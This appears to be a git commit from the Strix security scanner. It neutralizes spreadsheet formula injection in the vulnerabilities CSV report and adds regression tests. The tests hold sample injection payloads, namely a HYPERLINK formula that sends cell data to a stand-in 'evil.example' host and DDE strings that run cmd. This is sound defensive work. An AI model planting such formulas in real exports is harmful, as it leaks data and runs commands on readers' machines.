mirror of
https://github.com/usestrix/strix.git
synced 2026-10-14 04:08:06 +00:00
fix(report): neutralize CSV formula injection in vulnerabilities.csv
write_vulnerabilities() wrote finding titles straight into vulnerabilities.csv. The csv module escapes CSV syntax but has no notion of spreadsheet formula triggers, so a title beginning with =, +, -, @, tab or CR reached the cell intact and was evaluated when a human opened the file (CWE-1236). That input is attacker-influenced by design: Strix scans untrusted targets and the agent quotes target content verbatim into finding titles, so a scanned page can dictate a cell's literal contents. _validate_required_text only checks the title is non-blank. Add csv_safe() and apply it to every cell written. A value starting with a formula trigger is prefixed with an apostrophe, the standard mitigation: spreadsheets render the rest as literal text and hide the apostrophe. This follows the module's existing safe_fence() precedent, which already guards the markdown path against the same class of attacker-influenced content. Adds regression tests covering the six trigger characters, that the payload survives intact behind the guard, and that benign titles are untouched.
This commit is contained in:
parent
0a6e8b01bf
commit
e63d805973
2 changed files with 73 additions and 5 deletions
|
|
@ -26,10 +26,31 @@ logger = logging.getLogger(__name__)
|
|||
|
||||
_SEVERITY_ORDER = {"critical": 0, "high": 1, "medium": 2, "low": 3, "info": 4}
|
||||
|
||||
_CSV_FORMULA_PREFIXES = ("=", "+", "-", "@", "\t", "\r")
|
||||
|
||||
_FENCE_RE = re.compile(r"^```([^\n`]*)\r?\n(.*?)\r?\n?```$", re.DOTALL)
|
||||
_BACKTICK_RUN = re.compile(r"`+")
|
||||
|
||||
|
||||
def csv_safe(value: object) -> str:
|
||||
"""Return ``value`` as a CSV cell a spreadsheet will not treat as a formula.
|
||||
|
||||
Excel, LibreOffice and Sheets evaluate a cell whose first character is one of
|
||||
``= + - @``, tab or carriage return. The :mod:`csv` module quotes CSV syntax
|
||||
but has no notion of formula triggers, so such a value reaches the cell intact
|
||||
and is executed on open (CWE-1236). Vulnerability titles quote text from the
|
||||
scanned target, which is exactly the attacker-influenced input this guards
|
||||
against.
|
||||
|
||||
Prefixing with an apostrophe is the standard mitigation: spreadsheets treat
|
||||
the rest of the cell as literal text and hide the apostrophe on display.
|
||||
"""
|
||||
text = str(value)
|
||||
if text.startswith(_CSV_FORMULA_PREFIXES):
|
||||
return "'" + text
|
||||
return text
|
||||
|
||||
|
||||
def safe_fence(content: str) -> str:
|
||||
"""Return a backtick fence that ``content`` cannot break out of.
|
||||
|
||||
|
|
@ -151,11 +172,11 @@ def write_vulnerabilities(
|
|||
for report in sorted_reports:
|
||||
csv_writer.writerow(
|
||||
{
|
||||
"id": report["id"],
|
||||
"title": report["title"],
|
||||
"severity": report["severity"].upper(),
|
||||
"timestamp": report["timestamp"],
|
||||
"file": f"vulnerabilities/{report['id']}.md",
|
||||
"id": csv_safe(report["id"]),
|
||||
"title": csv_safe(report["title"]),
|
||||
"severity": csv_safe(report["severity"].upper()),
|
||||
"timestamp": csv_safe(report["timestamp"]),
|
||||
"file": csv_safe(f"vulnerabilities/{report['id']}.md"),
|
||||
},
|
||||
)
|
||||
atomic_write_text(csv_path, csv_buf.getvalue())
|
||||
|
|
|
|||
|
|
@ -163,6 +163,53 @@ def test_write_vulnerabilities_creates_markdown_csv_and_json(tmp_path: Path) ->
|
|||
assert csv_rows[0]["severity"] == "CRITICAL"
|
||||
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"payload",
|
||||
[
|
||||
'=HYPERLINK("http://evil.example/leak?d="&A1,"View")',
|
||||
"+cmd|'/c calc'!A1",
|
||||
"@SUM(1+1)*cmd|'/c calc'!A1",
|
||||
"-2+3+cmd|'/c calc'!A1",
|
||||
"\t leading tab",
|
||||
"\r leading carriage return",
|
||||
],
|
||||
)
|
||||
def test_write_vulnerabilities_csv_neutralizes_formula_injection(
|
||||
tmp_path: Path,
|
||||
payload: str,
|
||||
) -> None:
|
||||
# Titles quote text from the scanned target, so a finding title can begin with
|
||||
# a spreadsheet formula trigger. csv escapes CSV syntax but not formula
|
||||
# triggers, so the cell has to be neutralized before it is written.
|
||||
write_vulnerabilities(tmp_path, [_sample_report(title=payload)], set())
|
||||
|
||||
csv_rows = list(
|
||||
csv.DictReader((tmp_path / "vulnerabilities.csv").read_text(encoding="utf-8").splitlines()),
|
||||
)
|
||||
title = csv_rows[0]["title"]
|
||||
assert title.startswith("'")
|
||||
assert not title.startswith(("=", "+", "-", "@", "\t", "\r"))
|
||||
|
||||
|
||||
def test_write_vulnerabilities_csv_preserves_payload_after_guard(tmp_path: Path) -> None:
|
||||
payload = "=1+1"
|
||||
write_vulnerabilities(tmp_path, [_sample_report(title=payload)], set())
|
||||
|
||||
csv_rows = list(
|
||||
csv.DictReader((tmp_path / "vulnerabilities.csv").read_text(encoding="utf-8").splitlines()),
|
||||
)
|
||||
assert csv_rows[0]["title"] == "'=1+1" # guard prefix only, payload intact
|
||||
|
||||
|
||||
def test_write_vulnerabilities_csv_leaves_benign_titles_unchanged(tmp_path: Path) -> None:
|
||||
write_vulnerabilities(tmp_path, [_sample_report(title="SQL Injection in /login")], set())
|
||||
|
||||
csv_rows = list(
|
||||
csv.DictReader((tmp_path / "vulnerabilities.csv").read_text(encoding="utf-8").splitlines()),
|
||||
)
|
||||
assert csv_rows[0]["title"] == "SQL Injection in /login"
|
||||
|
||||
|
||||
def test_write_vulnerabilities_skips_already_saved_ids(tmp_path: Path) -> None:
|
||||
reports = [_sample_report(id="vuln-0001")]
|
||||
saved: set[str] = {"vuln-0001"}
|
||||
|
|
|
|||
Loading…
Add table
Reference in a new issue